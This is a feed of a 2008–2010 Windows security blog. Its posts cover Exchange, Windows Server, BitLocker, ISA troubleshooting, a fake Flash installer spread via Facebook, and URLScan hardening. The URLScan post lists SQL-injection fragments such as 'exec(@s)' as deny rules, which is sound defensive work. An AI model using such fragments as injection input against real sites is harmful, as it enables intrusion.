<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' version='2.0'><channel><atom:id>tag:blogger.com,1999:blog-3905238167785739455</atom:id><lastBuildDate>Mon, 04 Jan 2010 20:31:22 +0000</lastBuildDate><title>Just another security blog?</title><description></description><link>http://www.krneki.net/blog/</link><managingEditor>noreply@blogger.com (Just Another Security Blog?)</managingEditor><generator>Blogger</generator><openSearch:totalResults>38</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-3905238167785739455.post-3586625524934768614</guid><pubDate>Tue, 17 Nov 2009 23:26:00 +0000</pubDate><atom:updated>2009-11-18T18:50:38.509+01:00</atom:updated><title>Exchange 2010 -- 17.11.2009</title><description>Prezentacija s predavanja o Exchange 2010 z dne 17.11.2009 je na voljo tule:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.krneki.net/blog/Exchange.ppt"&gt;Exchange.ppt&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Microsoft Exchange postavitev:&lt;br /&gt;&lt;a href="http://technet.microsoft.com/en-us/library/bb687782.aspx"&gt;http://technet.microsoft.com/en-us/library/bb687782.aspx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Konfiguracija storage:&lt;br /&gt;&lt;a href="http://technet.microsoft.com/en-us/library/cc500980.aspx"&gt;http://technet.microsoft.com/en-us/library/cc500980.aspx&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-3586625524934768614?l=www.krneki.net%2Fblog' alt='' /&gt;&lt;/div&gt;</description><link>http://www.krneki.net/blog/2009/11/exchange-2010-17112009.html</link><author>noreply@blogger.com (Just Another Security Blog?)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>4</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-3905238167785739455.post-8661910507270732239</guid><pubDate>Tue, 20 Oct 2009 19:25:00 +0000</pubDate><atom:updated>2009-10-20T22:28:06.831+02:00</atom:updated><title>Windows 2008 R2 Session -- 20.10.2009</title><description>&lt;a style="font-family: verdana;" href="http://www.krneki.net/blog/Viri%20in%20skripte.txt"&gt;Resources and scripts from presentation.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a style="font-family: verdana;" href="http://www.krneki.net/blog/Windows%20Server%202008%20R2.ppt"&gt;PowerPoint presentation.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:verdana;" &gt;Question from today:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Is it possible to have Windows XP boot from VHD.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;The answer is no (well, at least it is not supportable). This is only supported on Windows 7 and Windows 2008 R2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a style="font-family: verdana;" href="http://technet.microsoft.com/en-us/library/dd799282%28WS.10%29.aspx"&gt;More information on this can be found here.&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-8661910507270732239?l=www.krneki.net%2Fblog' alt='' /&gt;&lt;/div&gt;</description><link>http://www.krneki.net/blog/2009/10/windows-2008-r2-session-20102009.html</link><author>noreply@blogger.com (Just Another Security Blog?)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>6</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-3905238167785739455.post-9203864399159957649</guid><pubDate>Sun, 18 Oct 2009 09:06:00 +0000</pubDate><atom:updated>2009-10-18T11:11:44.548+02:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>Bleeding Edge</category><category domain='http://www.blogger.com/atom/ns#'>presentation</category><title>My Bleeding edge presenation</title><description>Below you can download my presentation from this year's &lt;a href="http://www.bleedingedge.si/"&gt;Bleeding edge conference&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Inside you can find link to e.g. Ste-by-Step guide to setting up NAP etc.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.krneki.net/blog/BleedingEdge_PPT_2009%20MihaP.pdf"&gt;Bleeding Edge presentation&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-9203864399159957649?l=www.krneki.net%2Fblog' alt='' /&gt;&lt;/div&gt;</description><link>http://www.krneki.net/blog/2009/10/my-bleeding-edge-presenation.html</link><author>noreply@blogger.com (Just Another Security Blog?)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-3905238167785739455.post-1599018282530084901</guid><pubDate>Mon, 05 Oct 2009 20:45:00 +0000</pubDate><atom:updated>2009-10-05T23:05:28.277+02:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>Exchange 2007</category><category domain='http://www.blogger.com/atom/ns#'>PowerShell</category><category domain='http://www.blogger.com/atom/ns#'>-RecepientFilter</category><title>Creating DynamicDistributionGroup with -RecipientFilter</title><description>As any Exchange 2007 administrator knows, you get best features by using PowerShell.&lt;br /&gt;&lt;br /&gt;In old version of Exchange (e.g. Exchange 2003), you could create dynamic distribution group where the members of the group would be users from specific Exchange server or Exchange Mailbox Store. This was very useful especially during migration since it was very easy to notify all the users in the store that their mailboxes will be moved over the night. One would only have to create a dynamic group with appropriate filter.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 331px; DISPLAY: block; HEIGHT: 400px; CURSOR: hand" border="0" alt="" src="http://www.krneki.net/blog/uploaded_images/e2003-710204.gif" /&gt; &lt;p&gt;If you want to create dynamic group on Exchange 2007 you have very limited filters available in GUI. &lt;/p&gt;&lt;p&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 348px; CURSOR: hand" border="0" alt="" src="http://www.krneki.net/blog/uploaded_images/e2007g-741433.gif" /&gt;&lt;br /&gt;To get the same results as we did on Exchange 2003 we need to use the PowerShell. The command we need to use is:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;New-DynamicDistributionGroup –Name "All Users on Server Exchange" –Alias "AllonExchange" –RecipientFilter {(ServerName –eq "Exchange")}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This will actually create new dynamic distribution group named "All Users on Server Exchange" and users will be filtered by "ServerName".&lt;br /&gt;&lt;br /&gt;If you open the dynamic group we just created in GUI you can notice it has an additional tab where you can check the filter that we created in PowerShell.&lt;br /&gt;&lt;br /&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 356px; DISPLAY: block; HEIGHT: 400px; CURSOR: hand" border="0" alt="" src="http://www.krneki.net/blog/uploaded_images/e2007after-789604.gif" /&gt;&lt;br /&gt;There are a lot of properties we can filter by. ServerName is just one of them. To get complete list of the properties check the &lt;a href="http://technet.microsoft.com/en-us/library/bb738157.aspx"&gt;Filterable Properties for the -RecipientFilter Parameter in Exchange 2007 SP1 and SP2.&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-1599018282530084901?l=www.krneki.net%2Fblog' alt='' /&gt;&lt;/div&gt;</description><link>http://www.krneki.net/blog/2009/10/creating-dynamicdistributiongroup.html</link><author>noreply@blogger.com (Just Another Security Blog?)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-3905238167785739455.post-6965158147386321501</guid><pubDate>Wed, 30 Sep 2009 05:24:00 +0000</pubDate><atom:updated>2009-09-30T07:30:10.947+02:00</atom:updated><title>Windows Server 2008 R2 -- 29.9.2009</title><description>&lt;a href="http://www.krneki.net/blog/extras/PS.txt"&gt;&lt;span style="font-family:verdana;"&gt;www.krneki.net/blog/extras/PS.txt&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.krneki.net/blog/extras/Windows%20Server%202008%20R2.ppt"&gt;&lt;span style="font-family:verdana;"&gt;www.krneki.net/blog/extras/Windows%20Server%202008%20R2.ppt&lt;/span&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-6965158147386321501?l=www.krneki.net%2Fblog' alt='' /&gt;&lt;/div&gt;</description><link>http://www.krneki.net/blog/2009/09/windows-server-2008-r2-2992009.html</link><author>noreply@blogger.com (Just Another Security Blog?)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-3905238167785739455.post-4588538763778397587</guid><pubDate>Sun, 23 Aug 2009 19:51:00 +0000</pubDate><atom:updated>2009-08-23T22:27:58.970+02:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>Windows Server 2008 R2</category><category domain='http://www.blogger.com/atom/ns#'>BitLocker Active Directory Recovery Password Viewer</category><title>BitLocker Active Directory Recovery Password Viewer on Windows Server 2008 R2</title><description>&lt;div&gt;&lt;div&gt;&lt;p&gt;When you try to install &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=2786fde9-5986-4ed6-8fe4-f88e2492a5bd&amp;amp;displaylang=en"&gt;BitLocker Active Directory Recovery Password Viewer tool &lt;/a&gt;on Windows Server 2008 R2 you will receive an error saying »&lt;span style="font-family:courier new;"&gt;This update is not applicable to your computer«&lt;/span&gt;. &lt;/p&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 214px" border="0" alt="" src="http://www.krneki.net/blog/uploaded_images/error-708614.gif" /&gt;&lt;br /&gt;You can find BitLocker Password Recovery tool on Windows Server 2008 R2 under Features. You can install the tool by opening Server Manager and under »Add Features« look for »Remote Server Administration Tools« »Feature Administration Tools«. Here select »BitLocker Diver Encryption Administration Utilities« and follow the wizard.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.krneki.net/blog/uploaded_images/selection-785712.gif"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 199px" border="0" alt="" src="http://www.krneki.net/blog/uploaded_images/selection-785710.gif" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p&gt;Once install process completes you can open Active Directory Users and Computers and right click on domain level. You should now see »Find BitLocker Recovery Password…«&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.krneki.net/blog/uploaded_images/mmc-720864.gif"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 252px; DISPLAY: block; HEIGHT: 238px; CURSOR: pointer" border="0" alt="" src="http://www.krneki.net/blog/uploaded_images/mmc-720863.gif" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If Active Directory Users and Computers MMC was running during the installation process, you will have to reopen the MMC console to see the new option.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-4588538763778397587?l=www.krneki.net%2Fblog' alt='' /&gt;&lt;/div&gt;</description><link>http://www.krneki.net/blog/2009/08/bitlocker-active-directory-recovery.html</link><author>noreply@blogger.com (Just Another Security Blog?)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-3905238167785739455.post-8789754468373908037</guid><pubDate>Tue, 18 Aug 2009 20:18:00 +0000</pubDate><atom:updated>2009-08-19T20:39:17.243+02:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>0xc0040014 FWX_E_FWE_SPOOFING_PACKET_DROPPED</category><category domain='http://www.blogger.com/atom/ns#'>ISA 2006 Server</category><title>Troubleshooting 0xc0040014 FWX_E_FWE_SPOOFING_PACKET_DROPPED error</title><description>&lt;span style="font-family:verdana;"&gt;When you run into 0xc0040014 FWX_E_FWE_SPOOFING_PACKET_DROPPED error on ISA it means that IP traffic is being forwarded to the network interface that is not expecting traffic from that IP address range. If you are using only physical network cards this should be easy to troubleshoot because ISA will log the interface name that is receiving network packets. &lt;/span&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;a href="http://www.krneki.net/blog/uploaded_images/spoof-packet-753382.gif"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 47px; CURSOR: hand" border="0" alt="" src="http://www.krneki.net/blog/uploaded_images/spoof-packet-753381.gif" /&gt;&lt;/a&gt;&lt;br /&gt;If you are using Enterprise networks on ISA Server Enterprise Edition and you run into spoofing problem on one of enterprise networks ISA will list name enterprise network which may not be directly linked to physical address.&lt;br /&gt;&lt;br /&gt;In our case we have two possible paths (routes) that packet could take to reach the ISA server.&lt;br /&gt;&lt;br /&gt;To figure out which router was forwarding the packets to the wrong interface I started Wireshark and made a network capture. For clarity I filtered the traffic by IP addresses of remote site that we wire connecting.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.krneki.net/blog/uploaded_images/capture-764442.gif"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 82px; CURSOR: hand" border="0" alt="" src="http://www.krneki.net/blog/uploaded_images/capture-764440.gif" /&gt;&lt;/a&gt;&lt;br /&gt;In network capture we can see MAC address of the router that is forwarding the network packets to the wrong network card (network card that is not expecting those IP packets). We can now use &lt;span style="font-family:courier new;"&gt;arp -a &lt;/span&gt;command on server to find out which IP address the MAC address belongs to and with this we tracked down the router.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.krneki.net/blog/uploaded_images/arp-717968.gif"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 104px; CURSOR: hand" border="0" alt="" src="http://www.krneki.net/blog/uploaded_images/arp-717966.gif" /&gt;&lt;/a&gt;Now that we knew which device was forwarding the packets we were able to fix the routes to ISA server and solve the problem. &lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-8789754468373908037?l=www.krneki.net%2Fblog' alt='' /&gt;&lt;/div&gt;</description><link>http://www.krneki.net/blog/2009/08/troubleshooting-0xc0040014.html</link><author>noreply@blogger.com (Just Another Security Blog?)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-3905238167785739455.post-8056086299988088805</guid><pubDate>Tue, 14 Jul 2009 16:41:00 +0000</pubDate><atom:updated>2009-07-15T10:16:47.980+02:00</atom:updated><title>Bleeding Edge 2009!</title><description>&lt;a href="http://www.krneki.net/blog/uploaded_images/imageGen-706360.jpg"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 74px; CURSOR: hand" border="0" alt="" src="http://www.krneki.net/blog/uploaded_images/imageGen-706359.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;Bleeding Edge Conference is back!&lt;br /&gt;&lt;br /&gt;It will happen on &lt;strong&gt;October 1st 2009&lt;/strong&gt;. It will be held in &lt;a href="http://www.terme-olimia.com/si/business/"&gt;Congress center Olimia – Podčetrtek&lt;/a&gt;. &lt;div&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;This year, we are adding IT Pro track! &lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Stay tuned for more information!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;a href="http://www.bleedingedge.si/"&gt;Official Bleeding Edge site.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.facebook.com/people/Bleeding-Edge/100000084106889"&gt;Bleeding Edge on Facebook&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-8056086299988088805?l=www.krneki.net%2Fblog' alt='' /&gt;&lt;/div&gt;</description><link>http://www.krneki.net/blog/2009/07/bleeding-edge-2009.html</link><author>noreply@blogger.com (Just Another Security Blog?)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-3905238167785739455.post-7367897052720414333</guid><pubDate>Sun, 31 May 2009 15:22:00 +0000</pubDate><atom:updated>2009-06-01T08:27:32.490+02:00</atom:updated><title>Geting infected through Facebook -- Part 1</title><description>Recently I saw an "interesting" URL link on my Facebook. Knowing the person, and I decided to check it out.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 73px; CURSOR: hand" border="0" alt="" src="http://www.krneki.net/blog/uploaded_images/facebook-729921.jpg" /&gt;&lt;br /&gt;Somehow I decided to visit this URL site from one of my virtual computers that I can easily discard. Once on the site and before I got redirected I was able to see this&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 191px; CURSOR: hand" border="0" alt="" src="http://www.krneki.net/blog/uploaded_images/site-774275.jpg" /&gt; Since this didn't help much I wanted to check out the source code.&lt;br /&gt;&lt;br /&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 63px; CURSOR: hand" border="0" alt="" src="http://www.krneki.net/blog/uploaded_images/source-714284.jpg" /&gt;While this was not very useful (yet), I did notice the redirect URL in the status bar of my browser. &lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 299px; DISPLAY: block; HEIGHT: 64px; CURSOR: hand" border="0" alt="" src="http://www.krneki.net/blog/uploaded_images/redir-757136.jpg" /&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;This redirection actually took me to different URL addresses at different times of testing.&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 148px; CURSOR: hand" border="0" alt="" src="http://www.krneki.net/blog/uploaded_images/titlebar-742806.jpg" /&gt; &lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Once the site loads, it notifies the user that it requires Adobe Flash Player 10.37. Checking out Adobe site the latest version they are offering is 10.0.22.87.&lt;br /&gt;&lt;br /&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 135px; CURSOR: hand" border="0" alt="" src="http://www.krneki.net/blog/uploaded_images/flash-795816.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;(&lt;strong&gt;joke mode = on&lt;/strong&gt;) This new version (10.37) must be coming from China ;-). They always have the latest versions ;-) (&lt;strong&gt;joke mode = off&lt;/strong&gt;)&lt;br /&gt;&lt;br /&gt;I guess this is a good oppurtunity again to stress how important it is that you get your software from trusted and reliable source and not to blindly trust everyone.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;There are few links with comments on this site and &lt;strong&gt;all&lt;/strong&gt; of them lead to the same thing -- setup.exe file.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 396px; CURSOR: hand" border="0" alt="" src="http://www.krneki.net/blog/uploaded_images/links-772961.jpg" /&gt;&lt;br /&gt;Setup.exe file in this case in 15 KB in size compared to Adobe Flash Player offered by Adobe which is 15 MB in size.&lt;br /&gt;&lt;br /&gt;I decided to go forward with this and download and run the setup.exe and see what happens. I will be writing about this in part 2.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-7367897052720414333?l=www.krneki.net%2Fblog' alt='' /&gt;&lt;/div&gt;</description><link>http://www.krneki.net/blog/2009/05/geting-infected-through-facebook-part-1.html</link><author>noreply@blogger.com (Just Another Security Blog?)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>1</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-3905238167785739455.post-805933977328482159</guid><pubDate>Fri, 29 May 2009 11:25:00 +0000</pubDate><atom:updated>2009-05-29T14:02:33.341+02:00</atom:updated><title>NT Conference 2009 materials</title><description>I posted my materials from &lt;a href="http://ntk.si/"&gt;NT Conference 2009&lt;/a&gt; on my website. You can find power points and some other materials here: &lt;a href="http://www.krneki.net/NTK09/"&gt;http://www.krneki.net/NTK09/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Let me know if you have any questions on the subject.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-805933977328482159?l=www.krneki.net%2Fblog' alt='' /&gt;&lt;/div&gt;</description><link>http://www.krneki.net/blog/2009/05/nt-conference-2009-materials.html</link><author>noreply@blogger.com (Just Another Security Blog?)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-3905238167785739455.post-1764955515946034723</guid><pubDate>Mon, 10 Nov 2008 11:11:00 +0000</pubDate><atom:updated>2008-11-10T12:25:50.086+01:00</atom:updated><title>Question from EBS training</title><description>There was an interesting question on EBS training about vitalizing EBS servers and support for such configuration.&lt;br /&gt;&lt;br /&gt;The answer is &lt;em&gt;yes&lt;/em&gt;. You &lt;em&gt;can&lt;/em&gt; run you EBS environment virtualized and it is supported.&lt;br /&gt;&lt;br /&gt;Here is also question and answer from &lt;a href="http://www.microsoft.com/ebs/en/us/licensing-faq.aspx"&gt;Microsoft website&lt;/a&gt;…  &lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Does EBS 2008 licensing allow for virtualization? (For example, Windows Server 2008 Standard includes Hyper-V with a license to run one server operating system in Hyper-V.)&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;&lt;em&gt;For EBS 2008 Standard Edition: You can run one instance of each of the management server software, the security server software, and the messaging server software in a physical or virtual operating system environment (OSE) on up to 3 servers at any one time.&lt;br /&gt;For EBS 2008 Premium Edition: You can run one instance of each of the management server software, the security server software, the messaging server software, and “premium server” software in a physical or virtual OSE on up to 5 servers at any one time. For the premium server software,&lt;br /&gt;&lt;br /&gt;You can run an instance of Windows Server 2008 Standard in a physical or virtual OSE; and if you run a virtual OSE, you can run an additional instance of Windows Server 2008 in a physical OSE in order to run hardware virtualization software or provide hardware virtualization services or run software to manage and service operating system environments on the licensed server.&lt;br /&gt;&lt;br /&gt;You can run any number of instances of SQL in one physical or virtual machine, and it must be joined to the EBS domain.&lt;br /&gt;&lt;br /&gt;&lt;/em&gt;You can even find a guide on &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=840e11e7-6ce7-4b9b-a4ef-c3d5bf97f562&amp;amp;DisplayLang=en"&gt;Microsoft website &lt;/a&gt;on how to set up the virtual environment (document is currently not up-to-date and is based on RC0; still it should give you a general idea).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-1764955515946034723?l=www.krneki.net%2Fblog' alt='' /&gt;&lt;/div&gt;</description><link>http://www.krneki.net/blog/2008/11/question-from-ebs-training.html</link><author>noreply@blogger.com (Just Another Security Blog?)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-3905238167785739455.post-408689610259922141</guid><pubDate>Wed, 05 Nov 2008 20:19:00 +0000</pubDate><atom:updated>2008-11-05T21:22:55.147+01:00</atom:updated><title>Essential Business Server</title><description>&lt;p&gt;I published materials for "Essential Business Server" partner training meeting held at Microsoft Slovenija today.&lt;br /&gt;&lt;br /&gt;You can find all materials here "&lt;a href="http://www.krneki.net/EBS/"&gt;http://www.krneki.net/EBS/&lt;/a&gt;"&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-408689610259922141?l=www.krneki.net%2Fblog' alt='' /&gt;&lt;/div&gt;</description><link>http://www.krneki.net/blog/2008/11/essential-business-server.html</link><author>noreply@blogger.com (Just Another Security Blog?)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-3905238167785739455.post-6123037823359859051</guid><pubDate>Thu, 09 Oct 2008 06:15:00 +0000</pubDate><atom:updated>2008-10-09T08:24:31.336+02:00</atom:updated><title>SQL Injection/XSS attacks and URLScan 3.0</title><description>In my previous post I wrote about protecting web sites from SQL Injections, XSS and other URL manipulation by using ISA Server. The question for this post is what can users and system administrators without ISA do to protect their (Microsoft) web servers. &lt;a href="http://learn.iis.net/page.aspx/473/using-urlscan"&gt;URLScan 3.0&lt;/a&gt; is a free tool from Microsoft and answer to the above question. URLScan was recently release and will run on IIS 5.1 and newer including IIS 7 running on Windows 2008. It works as &lt;a href="http://msdn.microsoft.com/en-us/library/ms524610.aspx"&gt;ISAPI filter &lt;/a&gt;and will check any URL passed to the server. If the URL matches any filter criteria URLScan ISAPI filter will block such request.&lt;br /&gt;&lt;br /&gt;After downloading URL Scan and following simple installation instructions we can start configuring our own filters and settings.&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;p&gt;First, let’s create an error file that will show an error when an illegal URL is passed to the server. We can create this file inside the website working folder (default "&lt;span style="font-family:courier new;"&gt;c:\inetpub\wwwroot&lt;/span&gt;"). I named my error file &lt;span style="font-family:courier new;"&gt;"err.htm".&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/error-file-764062.gif" border="0" /&gt;&lt;br /&gt;In this file we can enter any message to users passing malformed URL that we want. Message can be HTML formatted or if you want you can even create aspx file that will display visitors IP address or redirect bad request to some other address (e.g. default page). For this demonstration I used simple text message stating &lt;span style="font-family:courier new;"&gt;"Illegal URL detected…"&lt;/span&gt; (picture below)&lt;/p&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/error-file-content-744468.gif" border="0" /&gt;&lt;br /&gt;&lt;p&gt;Now we can open and edit &lt;span style="font-family:courier new;"&gt;urlscan.ini&lt;/span&gt; file by default located in &lt;span style="font-family:courier new;"&gt;"\Windows\System32\inetsrv\urlscan\".&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/urlscan-path-751192.gif" border="0" /&gt;&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;First let’s edit&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style="font-family:courier new;"&gt;RejectResponseURL=/err.htm&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;"err.htm"&lt;/span&gt; is name of the file that we created above. Any rejected URL request will get redirected to this file (picture below)&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/url-config-1-711062.gif" border="0" /&gt;&lt;br /&gt;&lt;p&gt;Next lets scroll down in the &lt;span style="font-family:courier new;"&gt;urlscan.ini&lt;/span&gt; fille to &lt;span style="font-family:courier new;"&gt;[DenyURLSequences]&lt;/span&gt; segment where we can add additional filters. This could include:&lt;/p&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;&lt;span style="font-family:courier new;"&gt;"Char("&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:courier new;"&gt;"exec(@s)"&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Courier New;"&gt;"..."&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;And others that I mentioned on my previous post or the ones that you might discovered on your own. 